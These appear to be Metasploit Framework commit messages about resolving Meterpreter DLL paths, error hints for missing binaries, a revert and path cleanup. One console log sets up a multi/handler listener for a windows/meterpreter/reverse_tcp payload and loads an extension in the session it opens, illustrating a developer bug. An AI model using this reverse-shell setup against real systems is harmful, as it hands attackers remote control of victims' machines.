When using the Meterpreter Binaries gem to locate the path to the
meterpreter DLLs, it's not necessary to use File.expand_path on
the result because the gem's code does this already.
This commit simple removes those unnecessary calls.
When a meterpreter binary cannot be found, give the user some hint about what
went wrong.
```
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.43.1
lhost => 192.168.43.1
msf exploit(handler) > exploit

meterpreter > use mack
Loading extension mack...

```
This is also useful for not scaring away would-be developers who replaced only
half (the wrong half) of their DLLs from a fresh meterpreter build and
everything exploded. Not that thats ever happened to me :)
This reverts commit 9b35b0e13a.
This should not land on master until the Metasploit Pro folks (@trosen-r7
and friends) get their Meterpreter path specifications working the
same way as Framework's does.
Unfortunately, though, there seems to be a stealthy set, somewhere, of
datastore['DLL']. Not sure where yet. The stack trace in the
framework.log is:

Still tracking this down.
This makes x86 more consistent with x64.
Also replaces a bunch of instances of:
File.join(Msf::Config.install_root, 'data', ...)
with the simpler
File.join(Msf::Config.data_directory, ...)
